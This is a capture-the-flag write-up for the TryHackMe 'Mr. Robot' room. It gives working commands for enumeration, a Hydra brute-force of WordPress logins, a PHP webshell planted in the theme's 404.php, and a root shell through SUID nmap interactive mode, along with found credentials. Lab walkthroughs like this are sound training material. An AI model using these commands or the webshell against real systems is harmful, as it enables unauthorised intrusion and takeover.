TryHackMe Mr. Robot Writeup: WordPress RCE to Root

Room Info

• Platform: TryHackMe
• Room name: Mr. Robot
• Difficulty: Medium
• Objective: Collect all three keys
• Theme: Based on the Mr. Robot TV series
• Link: https://tryhackme.com/room/mrrobot

Service Discovery

rustscan -a 10.201.110.68 -b 2000 -t 2000 -- -A -sV -sC

• Port 22: SSH (OpenSSH 8.2p1 Ubuntu)
• Port 80: HTTP (Apache)
• Port 443: HTTPS (Apache)

Step 1: Directory Enumeration & Initial Recon

Check robots.txt:

curl http://10.201.110.68/robots.txt

Key findings:

• key-1-of-3.txt - the first key
• fsocity.dic - a wordlist file (download it for later)

wget http://10.201.110.68/fsocity.dic

Found a hidden admin page and a WordPress install:

gobuster dir -u http://10.201.110.68/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 5

/admin/index.html - ASCII art "YOU ARE NOT ALONE" — this is actually just what the homepage looks like
/wp-login.php - WordPress login page

Step 3: WordPress Recon

Scan with WPScan:

wpscan --url http://10.201.110.68

Findings:

• WordPress 4.3.1 (Insecure, 2015-09-15)
• Theme: twentyfifteen 1.3
• XML-RPC enabled

Step 4: Enumerate WordPress Users

Clean up the wordlist (remove duplicates):

sort fsocity.dic | uniq > fsocity_clean.dic

Using Burp Suite Intruder to test usernames, watch for differences in the error messages:

• Invalid username - the user does not exist
• The password you entered for... - the user exists

Valid username found: elliot

Step 5: Brute-force the WordPress Password

Use Burp Suite Intruder with the same fsocity_clean.dic wordlist to brute-force the password.
Alternatively, brute-force it with Hydra:

hydra -l elliot -P fsocity_clean.dic 10.201.110.68 http-post-form \
"/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=incorrect" -t 30

Valid credentials:

• Username: elliot
• Password: ER28-0652

Step 6: Plant a Webshell via the WordPress Admin Panel

Log into the WordPress admin panel and edit a theme file:

Appearance → Editor → 404.php

Inject a PHP reverse shell:

<?php echo "<pre>"; system($_GET["cmd"]); echo "</pre>"; ?>

Hit any random page on the site to trigger the 404 — say, aaa. For example:

http://10.201.110.68/aaa?cmd=ls

http://10.201.110.68/aaa?cmd=whoami

Successfully obtained a www-data shell.

Step 7: Find the Second Key

Explore the /home/robot directory:

www-data@ip-10-201-110-68:~$ ls -la /home/robot
-r-------- 1 robot robot   33 Nov 13  2015 key-2-of-3.txt
-rw-r--r-- 1 robot robot   39 Nov 13  2015 password.raw-md5

Read the MD5 hash:

www-data@ip-10-201-110-68:~$ cat /home/robot/password.raw-md5
robot:c3fcd3d76192e4007dfb496cca67e13b

Step 8: Crack the MD5

Just Google the hash directly.
Cracked result: abcdefghijklmnopqrstuvwxyz (a weak password)

Step 9: Switch to the robot User

Log in via SSH:

ssh [email protected]
# password: [the cracked plaintext password]

Upgrade the restricted shell:

/bin/bash

Grab the second key:

robot@ip-10-201-110-68:~$ cat key-2-of-3.txt
Redacted

Step 10: Privilege Escalation to Root

Look for SUID binaries:

find / -perm -4000 -type f 2>/dev/null

Suspicious entry found: /usr/local/bin/nmap

Step 11: Nmap SUID Privilege Escalation

Abuse the interactive mode of the old nmap version:

robot@ip-10-201-110-68:~$ nmap --interactive

Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
# whoami
root

Grab the third key:

root@ip-10-201-110-68:/root# cat key-3-of-3.txt
Redacted

Key Takeaways

Deduplicating the Wordlist

• fsocity.dic contains a huge number of duplicates; deduplication cuts it down to 11K lines
• This dramatically speeds up the brute-force

WordPress Error-Message Differences

• Use the differences in login error messages to enumerate valid usernames
• Avoids blindly brute-forcing every username/password combination

Theme Editor RCE

• A WordPress admin can directly edit the theme's PHP files
• 404.php is a common injection point — just visit a nonexistent page to trigger it

Nmap Interactive Mode Privilege Escalation

• Nmap 3.81 supports --interactive mode
• With the SUID bit set, you can spawn a root shell directly with !sh
• Modern versions have removed this feature